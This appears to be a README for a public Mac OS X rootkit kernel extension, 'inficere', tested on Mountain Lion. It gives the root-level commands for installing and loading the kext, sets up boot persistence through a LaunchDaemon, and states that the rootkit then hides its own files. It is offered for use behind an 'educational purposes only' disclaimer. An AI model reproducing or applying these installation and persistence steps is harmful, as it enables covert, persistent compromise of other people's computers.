
Mac OS X rootkit - for learning purposes
Public version of my Mac OS X rootkit built on top of fractalG's onyx-the-black-cat (https://github.com/gdbinit/onyx-the-black-cat)
Tested only in Mountain Lion, 10.8.2 to 10.8.5. Not guaranteed to work on other versions.
# chmod -R 755 inficere.kext# chown -R root:wheel inficere.kext# mv inficere.kext /System/Library/Extensions/# kextutil /System/Library/Extensions/inficere.kext# ./controlFor boot persistence:
# plutil -convert binary1 com.enzo.inficere.plist# mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist# chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist# launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plistInficere will hide above files after loaded.
I would like to emphasise that I made this for educational purposes only.